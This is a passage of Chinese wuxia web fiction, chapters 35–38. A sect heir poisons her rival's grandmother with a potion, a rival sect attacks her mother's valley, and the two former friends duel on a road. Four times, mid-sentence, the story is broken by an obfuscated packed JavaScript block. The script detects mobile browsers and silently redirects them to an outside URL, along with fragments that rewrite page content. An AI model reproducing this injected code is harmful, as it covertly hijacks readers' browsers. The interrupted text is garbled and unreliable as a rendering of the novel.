不过两三件衣裳,她的脊背已变得僵硬,仿佛冻住了似的,不肯转身,也不肯有任何动作。 方撷真悄无声息地递来一眼,打心眼里发笑,程芙当真不愿意理会她了,才几件破衣裳,就搭了这么久,连搭衣服的借口都蹩脚。 她恨程芙的冷漠和僵硬,程芙就该和她一样日日做噩梦。 只是,方撷真没有时间浪费再在程芙身上,却突兀地高声问道:“程芙,你怎不参加这届论剑?” 趁程阿婆和小蘋都向程芙望去,方撷真的手指飞快拂过程阿婆的茶杯杯口,又若无其事地收回。 东西已经下了,不会殃及性命。 “不感兴趣。” 一句没有兴趣,便能叫程芙不做许多事了,她余生就只想做自己感兴趣的事情。 “哦,这样啊。”方撷真似乎非常惋惜,略垂了垂眉峰,“我那边还有事,有几个徒子还等着指点,不多留了。阿婆,您多保重身体。” 程芙顿时如释重负:“我送一送你。” 这是最基本的待客之道,反正只送到门口就行。 “不必送,好好搭你的衣服吧。”方撷真嘲弄地笑了一声,遂拂袖而去,再没有回头。 很快,方撷真回到论剑的看台上,在自己的位置坐好。 场地里人声鼎沸,说什么的都有,那些心思不在比武上的人,自然有说不完的闲话。 “怎么没看见程芙?她不参赛?” “听说是不参加,我问过澄意山庄的人了。” “原来如此。怕是挣够了风头和侠名,疲累厌倦了吧?” “依我看未必,她年纪轻轻的,才三十岁,正是闯荡的好时候,只是因为出名早,你才觉得她扬名了许多年。她兴许是怕青出于蓝,被后辈们比了过去,才不敢来的。” 说话的这两人,就坐在方撷真后头一排。 简简单单几句话,听得方撷真忍俊不禁。 他们根本不了解程芙,便这样胡乱说。 什么风头什么侠名,什么害怕什么畏惧,于程芙而言都只不过是云山上的一片红枫叶,风一吹,便远远飘去了,半分重量都没有。 就和她方撷真在程芙心里的份量一样,根本不值一提。 35.决裂(1) 水月谷隐蔽在山林中,单是从山门进入内谷,便要经过重重机关。若想下山,更是仅有一条路可走。倘若不知情的旅人途径此处,决计想不到谷中别有洞天。 女儿远赴云州参与论剑,武红英便充满了期待,女儿能一举夺魁自然是她心之所向,即便不能,至少也要比五年前的战绩好。 近日水月谷没什么大事,武红英的身体又大不如前,是以常常一睡就是一整日。偏在今日梦中,她听见极急切慌乱的脚步声,还听人大喊道:“谷主,谷主!” 掀眸望去,是一位看守山门的徒子,慌里慌张的,也不知有什么事。 武红英强忍着愠怒,没有开口斥责此人的无礼,若无大事,对方也不会不顾她的规矩:“说。” 那徒子答道:“星罗宫的陈护法领了人候在山门外,要求见谷主!” 时值论剑大会,星罗宫当在受邀之列,陈护法身为掌门的侄儿,怎会跑到水月谷来?武红英边穿鞋袜便问:“可说了是什么事?” “我并不晓得。但他们似乎来势汹汹,来带了一只金乌鸟!” 武红英瞳孔一震。 金乌鸟……真儿瞒着她搜集枯心露原料,应当也拿到了金乌翎,莫非星罗宫今日是兴师问罪来了? 她咬了咬嘴唇,好润一润脸上的气色,便匆匆更衣梳头,随守门的徒子前往山门。 才出山门,便看见那只体型巨大的金乌鸟,武红英本能地缩了缩眸子,却旋即恢复了冷静,不曾叫人看出破绽:“陈护法——怎的千里迢迢造访我水月谷来了?不去云州一展风姿?” 陈护法白到骇人的面庞泄出一抹冷笑,眼神阴沉:“听闻武谷主抱恙,晚辈自应来探望。” 什么探望不探望的,都是虚情假意的借口罢了,武红英不屑地睨陈护法一眼,问道:“你身后就是传闻中的金乌鸟吧。” 论资排辈,武红英决计是陈护法的前辈,不必待一个即将撕破脸的后辈太客气。 “呵呵呵……说起这金乌鸟,我便恼火。”陈护法人站在树荫下,深情也显得阴沉,“金乌翎是稀世珍宝,偏偏在三年前,有人闯入我星罗宫,将其偷了去——您说,是谁这般不长眼色?” “哦?陈护法没有凭据吗?” “凭据?也怪我派失察,近日才得知昔年的偷盗贼是谁。都是江湖中人,自该明白有仇必报的道理……嘘!” 清脆的口哨声一落,那只训练有素的金乌鸟便振翅提足,以极迅捷的速度向武红英俯冲而来,锋利的尖喙能瞬间取人性命。 “谷主小心!”水月谷徒子大急,冲上前要为武红英助阵。 武红英却运转出一团凝聚在左手的气,将这徒子一把推开,竟为其免受了被金乌鸟一爪薅成重伤的苦。 “快去通知谷中徒子御敌!将二谷主请来!快去!”说罢,武红英再无力分心了,只一心提剑对抗金乌鸟。 偏还不止如此,跟随在陈护法身侧的星罗宫徒众,皆搭弓上弦,且这不是普通的箭矢,箭头涂了火油,只需以火石一点——漫天的火星飞越过水月谷山门,纷纷往谷内落去! 好卑鄙的手段! 水月谷依山而建,谷主花草树木繁多,若是燃起山火,不仅水月谷凶多吉少,甚至可能要殃及池鱼,祸害一整座山,乃至山下的百姓。 武红英并非孤军奋战,毕竟守卫山门的徒子不止一个,可是她仅转了个身,那人便惨死在了金乌鸟的爪刃下,开膛破肚,可怜至极。 她来不及怜悯,右手持剑弓向金乌鸟的同时,左手往袖中一探,竟咻咻咻射出数根细若牛毛的银针,不偏不倚钻进金乌鸟的瞳仁里。 “啾——!” 淌着鲜血的双目看不见了,金乌鸟到底只是畜牲,分辨不清局势,它忍着眼睛的巨痛,胡乱挥舞爪子、啄伸尖喙,疯狂又可怖。 便在这狂乱的攻击里,武红英的病躯退得不及时,竟被一爪击飞出去,重重砸在刻着“水月谷”三字的山石上。 她的血,和“水月谷”的红色融为一体,一静一动,一明一暗。可她不肯倒下,索性将剑鞘插入泥土,以此为杖,挣扎着站起。 武红英此时有两个选择。 要么重伤金乌鸟,以免让人要直面这战斗力恐怖的畜牲;要么杀掉陈护法,令星罗宫失了主心骨。 她要竭力为水月谷减轻阻碍。 但她仍有一事不明——真儿偷到金乌翎已有数年,星罗宫怎会突然找个门来?是绿华?还是当年跟着真儿的某个人? 武红英思索着,重新提剑迎上金乌鸟,灵活的身法绕至敌人身后,趁其不备,果断地一剑捅进巨鸟后背! 她稍微松了一口气,却恍惚之际,武红英看见陈护法扬起手臂,两根手指轻轻松开了弓弦。 箭簇没入她胸口的前一瞬,武红英听到妹妹的呼喊: “姐姐——!” * 云州的秋枫与血一样艳丽。 到了论剑的最后一日,程芙依然不主动过问论剑的输赢,小蘋却坚持每日都兴高采烈地将战果报给她听。 “……是武少谷主!有来有回、你来我往,精彩极了!”小蘋这个年纪,但凡是武功出色的,都能得到她的敬仰。 何况她曾与方撷真有同乘一舟之缘,方撷真夺魁,她深觉得与有荣焉。 程芙怔了怔,今年的魁首竟是方撷真啊…… 她的眼光还是很独到的,早就窥出方撷真惊人的天赋,这份毒辣眼光,也算是她少有的一点安慰了。 江湖中的后起之秀愈发出色,每过数年,便有人被冠上“天才”的美誉。有人名副其实,有人过誉虚假,唯有到了擂台上,才晓得谁是英杰。 慢慢地,年长的前辈们变成暗淡的星,终至寂寂无名、年华老去、归于尘土——而有一天,程芙这一辈,兴许也会走上这样一条路。 她叹了口气,为阿婆换了一次浸好了冷水的帕子:“好,我晓得了。” 小蘋困惑地挠了挠头,生怕打扰程阿婆的好梦,“师姐,你不为武少谷主高兴吗?你们不是朋友吗?” “你是小孩子,说了你也不明白。”程芙很难说清自己的心绪,她的心脏跳得确比平时快,却不敢笃定是为什么缘故。 见小蘋失落地垂首,程芙意识到自己的不妥,遂轻轻摸了摸师妹的头:“我阿婆这几日病怏怏的,我操心得很。我不该扫你的兴。” 病来如山倒,程阿婆病了已有两三日,成日里黄着一张脸,连说话都没有力气。 程芙请大夫来看过,说是风寒所致,先服几日药再说。谁知昨晚又突发高热,因而程芙已一夜未眠,守在阿婆的病榻边。 “那、那我改日再来找师姐玩?”小蘋摸了摸程阿婆温热粗糙的手,忧心忡忡,“阿婆很快就能好了。” 程芙欣慰地笑了笑:“去吧。” 小蘋走了。 屋中恢复了寂静,程芙侧耳细听,万籁俱寂,连风声都不见。但她听见咚咚、咚咚的响声,茫然寻觅了良久,才知是自己胸腔里的器官在动。 论剑大会的魁首是谁向来万人瞩目,只要拿过一次,名声便能打出去,前程也就有了。 也许她该为方撷真高兴,她不恨方撷真,甚至在见到对方时咯噔咯噔地鼓着心跳……她对方撷真的情感应当是归零了的,那么身为陌生人,祝福另一个摘得魁首的陌生人,有何不可呢? ——程芙就这样骗自己。 她交付在方撷真身上的感情还剩多少,又是什么性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331689|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质,她自己最清楚。 是遗憾和困惑,各占去五成。 时至今日,程芙仍不晓得那一年在云州重逢后,方撷真的态度为何会有巨变。不过,已经不重要了。 人和人不是非要重归于好才能继续活。 * “我们问了药庐的学徒,听说程芙的阿婆确实病了。面色枯黄,身发高热。”擂台不远处的一处角落,龙葵低声向方撷真汇报情况。 程阿婆既有了这等反应,便说明枯心露的炼制方法是正确的。 “好。”方撷真心中大喜,她得了魁首,验证了枯心露的效用,是双喜临门。 在龙葵看不到的地方,方撷真的唇角止不住地上扬。她证明了自己不比程芙差,不比任何人差,武红英的赞美和温暖的手会一起落下来,方虹的性命也有望被她捡起。 她等不及了,即刻便吩咐龙葵:“你告知裴庄主,说我还有急事,需要回水月谷处理,不作多留。还有,这个——” 方撷真取出一物,压低了声音:“给程阿婆下一些吧,不出意外的话,明日便能起效。做得警惕些。” 当日天色未暗,方撷真便迫不及待地离开云州,踏上回水月谷的路。 只有身受重托的龙葵留下,她趁程芙前往澄意山庄的大厨房,潜进祖孙俩的卧室,将方撷真交予她的东西下进那碗还滚烫着的汤药里。 做罢这一切,龙葵安了心,当即纵马疾驰,追寻方撷真而去。 太阳西沉,云州的秋夜来了。 “阿婆,我回来了——” 阿婆病重,程芙没有心思在院子里烧火做饭,还好山庄有大厨房,去那儿打饭回来最是方便。她推门而入,欲试一试汤药可否晾温了,若过了时候,怕是影响药性。 床榻上,程阿婆眉头紧锁,依然挂着苍白的面色,双手藏在温暖舒适的被衾下。 程芙端起药碗,才要试一试温度,凤眸却无意瞥了一眼窗框。 ……有哪里不对劲。 往四周环视了一圈,程芙几乎能笃定,有人在她离开后,悄悄潜进了这间屋子。她连忙去探阿婆的鼻息和脉象,都是一个病人该有的样子,阿婆还好好活着。 但是手里的这碗药,程芙实在不敢给阿婆喝了。 她便重新烧起炉子,煨上一炉新的。 本以为这样便没事了,却不想,在当天夜里,程阿婆的气息越来越弱,几乎已经查探不到。 程芙以此生最快的速度,从药庐请来了最负盛名、也最寂寂无名的——鬼医。 鬼医许成玉,隐姓埋名在澄意山庄住了多年,知晓她身份的人寥寥无几。闻名几十年年的鬼医,容貌却仅有二三十来岁,传言她早年在自己身上试药,以至容貌尽毁,才不得不披上人皮面具。 因此她的真实年龄,远比肉眼所见的要年长。 在不知情的人看来,她仅是个普通的大夫。 “是枯心露。” 一番诊断后,许成玉面色煞白,却在震撼里找回了一丝庆幸:“不幸中的万幸,你阿婆服食的是枯心露少一味原料。还有得救。” “枯心露?”程芙凝眸。 许成玉深邃的眸子仿若浸没了一整片夜空,她幽幽笑道: “水月谷秘术之回魂术,必定用到枯心露。但那秘术只是无稽之谈,是武羽那丫头年少时的美好设想,居然真有蠢货愚笨到想动用回魂术。” “我阿婆是何时服食的枯心露!”事关至亲的生死安危,程芙不觉激动。 她脑海里浮出一道影子,却极力想将其摘除。然而许成玉一句话,把那影子稳稳地固定在了程芙脑海中: “看她的症状,应当是三日前。你想一想,那天可有什么人接近你阿婆?” 36.决裂(2) 三日前,只有方撷真来过。 浑身都冷透了,脊背上寒浸浸地冒着汗,程芙阖眸,将那日的事一件件回想……是什么时候下的药?她到底疏忽在哪里了? 那天天气格外好,漫山遍野的枫叶都簌簌响动,肺腑里还能充入竹叶的清香,皂角粉的味道、水流的触感,茶水的温热…… 是那杯茶。 是程芙转身的那短短几瞬。 “……我见过水月谷少谷主。” 程芙缓缓睁开眼,极艰难地承认了某个事实。 枯心露唯有施展水月谷秘术才用得上,而三日前,唯一接近过阿婆的水月谷人士,唯方撷真一人而已。 “你确定吗?”许成玉没有妄下定论,而是劝程芙再想一想,“这是大事,不要遗漏任何一个细节。” “没有什么好思索的,事实就是如此……我很笃定。” 程芙不需深思熟虑了,曾经天真热烈的方撷真,早在杀了留阳村的无辜百姓后,便一点点在她心中暗淡失色。 到今日,终于只余下浓得抹不开的灰。 她不怀疑,也不为方撷真辩解,她是如此相信方撷真已经腐烂得没有半块好肉。 五脏六腑里在翻滚,程芙不得不俯下身,冲着痰盂一阵干呕。她说不出半个字来,满心满眼都充斥着一种非常单一的情绪——恶心! 她对方撷真感到恶心! 她早就该杀了她! * 从云州回水月谷最近的路线,需要途径徽州。 方撷真急切地想向武红英分享她的成就,且自信跑得比信使更快,因而三日下来,她不眠不休,终于在今日清晨远离了徽州地界。 官道旁开着一家茶摊,方撷真便驻足,问店家讨一碗水喝。却不想清茶还未递到唇边,便见前方的大路上尘土飞扬,马蹄声哒哒哒地由远及近,仿佛很是着急。 方撷真不由循声望去。 那马背上的人一与她对视,当即大惊大喜,几乎是趔趄地跳下马背:“少谷主竟在此处!太好了!” 此人是颇得武红英信任的一名徒子,方撷真忍的。 她虽是笑着的,方撷真心里却涌起不安,蹙眉问道:“何事?” “还好赶上了,没有错过少谷主!”话至此处,那人再笑不出来,严峻道,“您快回谷吧,星罗宫攻打水月谷,谷主受了重伤,性命垂危了!” “怎会如此!”啪的一声,水碗脱离了方撷真的手,摔成无数碎片,“是什么时候的事!” 星罗宫,怎会是星罗宫呢! 两派并无恩怨啊! 莫不是当年偷金乌翎一事败露了吗!方撷真等不及听答案了,她连茶钱都来不及付,轻功一运便上了马,匆匆踏上大路。 偷金乌翎是好几年前的事了,如果星罗宫真心此事而来,其中必有蹊跷。当初随行方撷真的人里,阿夏已死,唯有白术、龙葵还活着。 而白术与阿夏一向交好,倘若他为了给阿夏报仇而出卖主子,倒不是没有可能,方撷真愤愤地暗骂一声,只恨白术不在眼前。 “站住——!” 一道熟悉的呼唤,打断方撷真混乱的思绪,她勒停缰绳,回头而望。 在大道尽头,程芙身骑黑马风尘仆仆地匆匆追来,她的神情很是疲惫,若仔细看,还能瞧见泪痕:“方撷真,站住!” 这分明是来者不善啊! 方撷真才不等,一心将马鞭抽得更凶狠,催促马蹄迈得再快些:“不要阻拦我!程芙!” 才说罢,程芙便飞身跃至半空,足尖往马首一点—— 她的轻功一向为人所称赞,区区几十步距离,只需几次眨眼的功夫。 眼一抬,程芙在方撷真面前平稳落地,胸口一起一伏。 “方撷真,你应当有话要解释。”程芙腰间别着拒霜剑,她临行前特意打磨过,这柄许久不曾出鞘的剑,已然锋利如新。 “我无话可说。闪开,别挡我的路!”武红英性命攸关,方撷真恨不得插上翅膀,哪里能容忍程芙来拦路,她捏紧缰绳,以控制马驹的前行方向,试图避开程芙,“滚!” “方撷真,你连一丝良心都不剩了。我阿婆待你真诚热情,你却……”程芙不会轻易放人走,然而却忽地说不下去,嗓音哽咽。 方撷真怔了怔。 她从未见过程芙的这种神态。 脆弱、无助、眼睛发红。 原来那么厉害的人,也会有这种时刻!原来被她割了一剑都能云淡风轻的人,也会有弱小的一面,也会流眼泪! 方撷真居然觉得痛快舒畅,这扭曲的情感胜过了她良心的刺痛,令她倏尔冷笑了一声。 “……你却来害她的命!”程芙为她的冷笑愠怒,手往腰间一点,拒霜迎着熠熠天光出鞘。 方撷真愣了一瞬,脱口而出道:“我没有害她的命!” “昏迷不醒高烧不退的人不是你的亲人,险些一命呜呼的不是你的亲人!下枯心露的人,难道不是你吗!” 云州昏迷不醒的的确不是方撷真的亲人,因为她那位昏迷着的亲人,身在水月谷。 方撷真本就因武红英的生死担忧焦虑,一听程芙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337080|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么说,自要拔出翠微剑,迎上横劈而来的拒霜:“不要和我纠缠,你我有怨,日后再论!若误了我的事,别怪我不念旧情!” “恩怨未明,何谈旧情?!” 铮的一声,程芙的剑风破空而来,直逼方撷真面门。 虽也拦住了,方撷真却心跳如雷,方才那一剑杀意极浓,论剑势论信念,都是她不曾在程芙身上见过的。 好啊,这些年程芙疏于练剑,剑术必定退步,方撷真已从两三招里窥见了敌人剑法上的生疏——却很是兴奋、新鲜地体会到了程芙的认真严肃。 好啊!这还是头一次,还是头一次! “少谷主,不可再耽搁——” 从水月谷远道而来的徒子见自家少谷主与程芙打得难分难舍,慌忙大声提醒:“时间不等人啊!” 方撷真为她的话清明了神智,不错,再重要的恩怨、旧情,又或是其他的东西,都不如回去见武红英重要。 ……武红英的手掌那么暖,她会笑,会问昨晚是不是睡得不好,可她用言辞扎过方撷真的心许多次,叫方撷真想哭又不敢哭,只敢在夜半时分用被子蒙住头。 武红英很好,又很坏,然而不论她的好坏,方撷真都要尽快回到母亲身边去。 可是挡住她去路的人,就只有坏,没有好。 过去美好快乐的记忆,方撷真一样都想不起来了,她乱糟糟的脑子不许她来到记忆深处,拨开匆匆荆棘,找到鲜艳茂盛的花丛。即使刚刚她还在说“旧情”两个字,而在当下,她千真万确想不起、顾不得“旧情”。 “让我走!程芙,你让我走!”方撷真嘶吼着,她不仅用言语来请求,还要用武力来压制。 很快,她便感到了几分压力,为了抽身,她厉声向一旁手足无措的水月谷徒子下令:“出手!” 那徒子闻声身动,提剑进入战场,与方撷真配合扰乱了程芙的针脚。 方撷真瞅准时机,瞬间从袖间扬出数枚银针——这是武红英最引以为傲的本事,细细传给了她的女儿。 眼看纤细到近乎无形的银针如雨般刺开,程芙躲闪不及,却在倒下的刹那,拼命用拒霜挥出最后一剑。 拒霜剑贴着方撷真腰间掠过,剖开一道见血的伤口。 时下是秋天,气候不算太凉,方撷真却寒了心,她侧腰痛得厉害,汩汩冒着鲜血。为了防身,那针上淬了不致命的毒,程芙已然昏睡过去,不省人事了。 而她腰间的伤,已是她返程的最大阻碍。 若是见不到武红英最后一面……方撷真捂着伤口,心生绝望。 37.决裂(3) 醒来的时候,程芙能听见淅淅沥沥的雨声。 她在雨声里茫然片刻,才认出这是自己的屋子。 而半开的窗边倚着一人,暗红色衣裳,长发束起,正用明眸上上下下的打量她。 “裴雁晚……”程芙启唇,喉咙嘶哑得一牵扯就发痛,“我阿婆在哪儿?” 在确认阿婆的性命保住后,她才动身追逐方撷真,不过,她仍需要再次确认:“她还好吗?” 裴雁晚点头:“她在外头。你师娘守了你很久,回去睡了。我倒可以请她们进来,但你应当有话要问我。” “方撷真在哪——”问这话的时候,程芙心里怀了三分希望。 如果是愱恶如仇的裴雁晚撞上方撷真,那么方撷真大抵是凶多吉少了;但她也怀着三分说不清的异样,若当真亲耳听到方撷真的死讯,她是要先笑,还是先哭呢? 裴雁晚道:“我们找到你时,并未看见她。我问了附近茶摊的掌柜,方撷真被别人带走了——你睡了两日。放心,毒针的毒不碍事,已经解了。” 带走了…… 方撷真还活着。 程芙垂眸,面庞隐匿在屏风的阴影中。 窗外忽有明光蜻蜓点水似的掠过,于是她脸上便也有光影浮动,却仍照不亮她的神情。 脚步声徐徐靠近,是裴雁晚阖上窗,阔步走到窗前来,低声道:“将你和方撷真的恩怨尽数告知我,不要隐瞒。” 足足喝了三杯茶,程芙才觉得喉咙好受些,但她心里的痛还在,并未因茶水的滋润而缓解。她握着茶杯静默许久,才将前尘种种细细说来。 能得到她诉说的人不多,白霓裳算一个,裴雁晚算一个,曾经方撷真也算一个,如今却只剩头两人愿意见证他的颓丧了。 一番话说完,程芙又问裴雁晚要了一杯水,却捏着杯子不喝,仿佛只是为了握住什么。 她的嗓音已不再那么沙哑,却依然轻轻颤着:“她不能留。她必须死。她活着,只会祸害更多无辜的人。” 其实这话说得很冠冕堂皇,程芙还另有私心,她何止仅是为了“更多无辜的人”,她最大的恨,来自方撷真下在阿婆茶水中的枯心露。 她不言明,裴雁晚却懂得了,且微微眯了眯凤眸,一字字轻声问:“程芙,你有多久不曾练剑了?” 程芙放下茶杯,力气稍微重了些,有三两滴水珠飞溅到床头柜柜面上。 “要我帮你回忆吗?整整五年。”裴雁晚的意思相当明显。 “我能行……”程芙有意避开友人的视线。 两日前,她与方撷真搏斗时的确力不从心,若在从前,那些细密的银针不至于全落在她身上,她能在敌人出招的瞬间便意识到问题所在,且及时躲开。 “你不行,程芙,你做不到。你疏于习武,又与方撷真交好过。技不如人、耽于旧情太过致命,你不是她的对手。”裴雁晚一条腿跪在床沿,以靠近程芙苍白的面庞。 她抬起胳膊,手掌紧紧掐住对方的肩,声音低得如同耳语,却又很坚定:“我来替你做,我做得比你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346793|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净隐蔽,不留后患。” “不行!” 程芙倏然抬头,不由分说挥开了裴雁晚的手:“你不要插手。你是山庄掌门,不适合做这种事。总之不要你插手,不要你做任何事。” 她只愿意自己去冒险,君子报仇,十年不晚,她不急,扔掉的剑法,慢慢捡起来就是。 当务之急,是断了裴雁晚的念头,是将师门择出去。 程芙挣扎着下了床,草草穿好鞋袜,披衣上身:“今日起我不再是澄意山庄的人,我做任何事,与你、与所有人都没有关系。” “程芙!”裴雁晚急了眼,再度擒住她的肩膀,“我不同意。我身为掌门,不允许你如此冲动!” “论冲动,你不必来说我。”程芙轻描淡写睨了眼红衣剑客,语罢,她深吸一口气,“我依然住在云州,只是从徒子的名列里剔出去,不再住在山庄里。” 她手头有些积蓄,足够在云州城买一座可供两人住的房子,兴许还能带间小院子。 程芙又道:“我也是为了你们好。我离开山庄,对我不会有任何损失。只是恕我不能再为剑庐操心了。” “你真是糊涂了!”裴雁晚的倔强与程芙不相上下,“方撷真为非作歹人人得而诛之,你杀她是天经地义、为民除害,何必非要从山庄脱身!” 闻此一言,程芙不再说话了,如一道影子立在屋中,因周身的一切都没有动,她这道影子也就没有动。 “往后几年要劳烦你陪我练剑了。”良久,她徐徐仰起头来。 38.决裂(4) 龙葵下完枯心露的解药,虽比程芙先一步离开云州,却因没有报仇之心,脚程慢一些。 待龙葵追上方撷真,程芙已倒在一旁不省人事,而方撷真腰侧则冒着殷红的血,着实惹得她一惊:“少谷主,我来迟了!” “不要说废话。”当务之急是尽快止血,方撷真回谷心切,还惦记着危在旦夕的母亲,“快为我止血,找大夫、组马车,速速回谷。” 龙葵领了命,却拔剑指向程芙:“是她伤了少谷主?不如了结她!” “不可。”方撷真蹙眉,不许龙葵的剑违逆她的心意,“不必管她,我们先走。” 附近便有城镇,寻医租车都是简单事,为难的是方撷真伤得太重,大夫建议她休养十余日,少走动,更不必提骑马或是乘车了,任何可能会让伤口裂开的事,都不能做。 所有的决定权,到底还在方撷真手中,她从未有“休息养伤”的念头,此刻她只有一颗似箭的归心。 因而才一处理好伤口,方撷真问大夫要了些药材,便命龙葵驾车西行,片刻不愿耽搁。 她的命令谁都不得违抗,龙葵自知提议无用,唯有顺从。 坐在颠簸的马车里,方撷真小心翼翼捂着伤口,问及星罗宫攻打水月谷一事:“龙葵,你可有头绪?” “头绪?”龙葵不明所以。她也是才听说师门的变故,也是大为震撼。 “你说,是谁,出卖了我们?” 方撷真并不能断定星罗宫此举的原因,却要试一试与她同偷金乌翎的龙葵:“我们与星罗宫若滋生恩怨,源头唯有在金乌翎上了。那是他们的镇派之宝。” 马车里闷闷响着方撷真的话音,龙葵不免为之身躯一震,这便是少谷主的试探了吧。 她见证过阿夏无辜的惨死,一听方撷真问出这等问题,自然脊背发凉,连忙道:“我对少谷主忠心耿耿,绝无二心!” 方撷真不置一词,安静地靠住了车厢内壁,闭目养神。 当时一同盗金乌翎几个人,阿夏死了,龙葵看不出破绽,唯有白术不在身边,不能及时地询问试探。 ……如若星罗宫真为此而来,那么有的人,就不能留了。 * 毕竟是乘车,再好的马驹都避免不了颠簸,头几日里,方撷真的伤口总时不时渗血,看得人触目惊心。 本就没有好生治伤,再加上这样不听话的伤口,终致使她生了场小病,昏昏沉沉的身体生起高热。 龙葵不得不违背她的意思,为她寻觅一间客栈供她休息。 这个时候的方撷真烧得糊涂,境况相当凶险,嘴里却迷迷糊糊唤着什么,龙葵侧耳一听,原来是在喊“娘”:“少谷主在唤谷主。” 随行的水月谷徒子听了,只是一味地点头。 等方撷真病情好转,头脑清晰了,才意识到自己在稀里糊涂的高烧里耽误了整整三天。 她勃然大怒,将茶盏掷向龙葵脚边:“谁许你自作主张?我说过无论我身体如何,都要不停赶路!” 好在有人上来劝,才将方撷真的怒火暂且止住了,几人便继续上路。 又十日,方撷真回到水月谷。 山门前的那块石头依然矗立着,却染上晦暗的深红色,无疑是血迹。 此时尚只是秋日啊。 分明还不到花叶凋零成灰的季节,山门附近的一花一叶怎就都不见了?方撷真下了马车,由龙葵搀扶着往前走。 “是火烧的痕迹,少谷主……”望着满目疮痍,龙葵痛心疾首地咬了咬牙。 方撷真记得山门前有二三株樱桃树,进了山门,瞬台阶往下的路边则栽着两排桂花,水月谷的桂花花期长,往年这个季节,还能嗅到花香,今年却什么都没有了。 什么都没有了。 受武绿华之命赶往云州报信的徒子,跟着方撷真一道返程,她见证过星罗宫的恶行,忽地潸然泪下道:“星罗宫往谷中放火箭,当时又有风,火星子四处乱飞……内谷倒没有遭殃,只是谷门周围,几乎烧干净了。” “……死伤严重吗?”方撷真闭了闭眼,肋骨附近一阵阵地绞痛,她甚至俯下身干呕了几声,眼前仿佛能看到起了漫天大火的水月谷。 这问题,是由一直守在谷中的白术来答的。 前几日他便收到龙葵的消息,要他在谷门口接应少谷主:“死了三十个人,被星罗宫杀死的,或死于山火的。万幸我们引水源引得快,否则后果不堪设想。” 方撷真顿足,胸口处的疼痛必须先消弭了,她才有能力做旁的事,因为已经痛到说不出话、思考不了事情。 良久,她捂着心口的位置,终于问出那个问题:“我母亲在哪里?” * 方撷真循着指引,穿过后山瀑布的水流,进了山洞深处。越往里走越阴冷晦暗,潮湿的气息小虫似的,往她伤口里蠕动。 偏偏里头的确有路,约莫蜿蜒地走了四五十尺,在方撷真已冷得瑟发抖的时候,眼前豁然开朗—— 瀑布之后竟藏着一间圆形的石室。 石室周围点着一圈长明灯,随她的到来跃动了烛火,中央则放置着一口冰棺,而趴在冰棺边缘的,正是武绿华。 武绿华幽幽抬眸,轻轻扫了一眼方撷真,便立即再度垂眸。 似乎此处根本没有人来,她谁都没看见。 便是这沉静幽怨的一眼,叫方撷真的头皮瞬间发了麻,双腿摇摇晃晃的,几乎要站不住:“……冰棺里是谁?” 武绿华微弱地嗤笑一声,依旧垂眸,久久凝望棺中人:“是我的姐姐。” 方撷真一个趔趄,跌跌撞撞扑到冰棺上,低头一望—— 她的母亲安安稳稳躺着,双手在身前交叠,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351520|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睑紧闭,肤色一如常人,瞧不出生死。 方撷真膝盖磕得发痛,必是流血了,可她远有比膝盖更痛的地方。 她颤巍巍抬起手,一寸寸往棺中试探,好冷,这么寒冷的地方,怎么可以睡人呢? “不要动我姐姐。”就在方撷真的手指快触碰到武红英鼻尖时,武绿华陡然打开她的手,寒声警告道,“否则不要怨我不客气。” “……死了?”方撷真瞠目盯着姨母,手依然一动不动地悬在半空,面色苍白,宛若真正死去的人是她。 武绿华的语气虚弱无力,飘渺得像从远处传来。 她代替侄女,抚了抚姐姐温热的脸:“没有死。我不会让她死。她只是睡着……” 昏暗的山洞石室,滴答滴答的水声,冰棺、生死不明的母亲,还有眼前这个微笑着的女人,都令方撷真毛骨悚然。 “我不信她死!”方撷真猛地推开武绿华,同时伸手入棺,艰难地在武红英颈间寻到一丝似有若无的脉搏。 她欣喜了不过一瞬,武绿华便豹子般矫捷地扑来,将她撞离了冰棺:“不要碰她!不要碰!” 